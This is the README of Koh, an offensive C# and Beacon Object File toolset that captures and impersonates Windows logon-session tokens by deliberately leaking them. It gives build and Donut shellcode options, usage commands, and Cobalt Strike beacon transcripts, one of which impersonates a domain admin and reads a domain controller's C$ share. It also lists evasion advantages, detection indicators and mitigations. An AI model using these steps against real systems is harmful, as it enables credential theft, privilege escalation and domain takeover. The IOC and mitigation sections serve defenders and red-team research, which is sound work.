Koh
Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.
Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.
For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.
@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.
Koh is licensed under the BSD 3-Clause license.
Table of Contents
- Koh
Koh Server
The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).
Compilation
We are not planning on releasing binaries for Koh, so you will have to compile yourself :)
Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe assembly and Koh.bin Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe:
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut's license is BSD 3-clause.
Usage
Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]
- list - lists (non-network) logon sessions
- monitor - monitors for new/unique (non-network) logon sessions
- capture - captures one unique token per SID found for new (non-network) logon sessions
Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.
Example - Listing Logon Sessions
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Example - Monitoring for Logon Sessions (with group SID filtering)
Only lists results that have the domain admins (-512) group SID in their token information:
C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs:
S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Koh Client
The current usable client is a Beacon Object File at .\Clients\BOF\. Load the .\Clients\BOF\KohClient.cna aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).
To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64
Usage
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
Group SID Filtering
The koh filter add S-1-5-21-<DOMAIN>-<RID> command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.
Example - Capture
"Captures" logon sessions by negotiating usable tokens for each new session.
Server:
C:\Temp>Koh.exe capture
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Credential UserName : [email protected]
Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Credential UserName : [email protected]
Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Credential UserName : [email protected]
Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF client:
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Technical Background
When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by the caller of LsaLogonUser(). This increases the ReferenceCount field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the Why This Is Possible section, Windows systems will NOT release a logon session if a token handle still exists to it (and therefore the reference count != 0).
So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.
Why This Is Possible
According to this post by a Microsoft engineer:
After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
MS16-111 was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.
Approach
Enumerating logon sessions is easy (from an elevated context) through the use of the LsaEnumerateLogonSessions() Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and somehow getting a usable token linked to that session.
Possible Approaches
We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.
- The first approach was to use NtCreateToken() which allows you to specify a logon session ID (LUID) to create a new token.
- Unfortunately, you need SeCreateTokenPrivilege which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal.
- One possibility was to add SeCreateTokenPrivilege to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights.
- You can also focus on just RemoteInteractive logon sessions by using WTSQueryUserToken() to get tokens for new desktop sessions to clone.
- This is the approach apparently demonstrated by Ryan.
- Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC.
- On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session.
- This requires opening up lots of processes/handles, which looks very suspicious.
- The AcquireCredentialsHandle()/InitializeSecurityContext()/AcceptSecurityContext() approach described below, which is what we went with.
Our Approach
The SSPI AcquireCredentialsHandle() call has a pvLogonID field which states:
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Note: In order to utilize a logon session LUID with AcquireCredentialsHandle() you need SeTcbPrivilege, however this is usually easier to get than SeCreateTokenPrivilege.
Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? WTSQueryUserToken() only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.
However we can use two additional SSPI functions, InitializeSecurityContext() and AcceptSecurityContext() to act as client and server to ourselves, negotiating a new security context that we can then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions here) for the purposes of credential validation. This is a similar approach to Internal-Monologue, except we are completing the entire handshake process, producing a token, and then holding that for later use.
Filtering can then be done on the token itself, via CheckTokenMembership() or GetTokenInformation(). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.
Advantages/Disadvantages Versus Traditional Credential Extraction
Advantages
- Works for both local and inbound (non-network) logons.
- Works for inbound sessions created via Kerberos and NTLM.
- Doesn’t require opening up a handle to multiple processes.
- Doesn't create a new logon event or logon session.
- Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?)
- No default lifetime on the tokens (I don't think?) so access should work as long as the captured account’s credentials don't change and the system doesn’t reboot.
- Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well.
Disadvantages
- Access is only usable as long as the system doesn't reboot.
- Doesn't let you reuse access on other systems
- However, and existing ticket/credential extraction can still be done on the leaked logon session.
- May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here).
The Inline Shenanigans Bug
I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.
-
When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.
-
If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with
execute-assemblyfrom an elevated (but non-SYSTEM) context, everything works properly. -
If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.
-
However If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with
SEC_E_NO_CREDENTIALSand everything fails ¯\_(ツ)_/¯
We have tried (with no success):
- Spinning off everything to a separate thread, specifying a STA thread apartment.
- Trying to diagnose RPC weirdness (still more to investigate here).
- Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser.
- Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do).
For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. And we have no idea why.
If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the AcquireCredentialsHandle repo on my GitHub for troubleshooting.
IOCs
To quote @tifkin_ "Everything is stealthy until someone is looking for it." While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.
The unique TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.
When the Koh server starts is opens up a named pipe called \\.\pipe\imposecost that stays open as long as Koh is running. The default password used for Koh communication is password, so sending password list to any \\.\pipe\imposecost pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is \\.pipe\imposingcost.
If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of winlogon is performed to perform a getsystem type elevation.
I'm sure that no attackers will change the indicators mentioned above.
There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh (LsaEnumerateLogonSessions or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in AcquireCredentialsHandle) could be explored for effectiveness, but alas, I am not an EDR.
Mitigations
After publishing the Koh: The Token Stealer post, I had a great exchange between @cnotin and @SteveSyfuhs about what ended up being a partial mitigation for this approach.
The KB2871997 patch introduced a TokenLeakDetectDelaySecs setting, which triggers the "...clearing of any credentials of logged off users...". By default in fact, members of the "Protected Users Security Group" have this behavior enforced regardless of the registry setting. However, setting this to a non-zero value will clear ALL credentials out of memory when a user logs off. Specifically, as Steve mentions: If set, it'll start a timer on a sessions *interactive* logoff event, and on fire will purge anything still tied to it. Off by default. Protected Users always on, with a default of 30s.
There are two important things to note in the above paragraph: "logoff event" and "interactive". This can result in some situations where a user's credential is NOT cleared:
- If a credential is present via a
runasorrunas /netonlytype spawn or something similar, there is no logoff event when the process stops and the credential/token can still be captured. - If the credential is present via an RDP session where the user just disconnects instead of logs out, there is no logoff event when the process stops and the credential/token can still be captured.
(I need to test other logon situations like NetworkClearText.)
However, if the user is in the "Protected Users Security Group" or TokenLeakDetectDelaySecs is non-zero, and the user actively logs off of an interactive or remote interactive (RDP) session, the credentials will be cleared. I need to program Koh to better deal with these specific types of situations.
TL;DR you should really be using the "Protected Users Security Group" for sensitive users, and see if setting TokenLeakDetectDelaySecs to a value like 30 is doable in your environment.
TODO
- Additional testing in the lab and field. Possible concerns:
- Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers
- Total actual effective token lifetime
- "Remote" client that allows for monitoring through the Koh named pipe remotely
- Implement more clients (PowerShell, C#, C++, etc.)
- Fix the Inline Shenanigans Bug
- Handle "Protected Users"/TokenLeakDetectDelaySecs situations better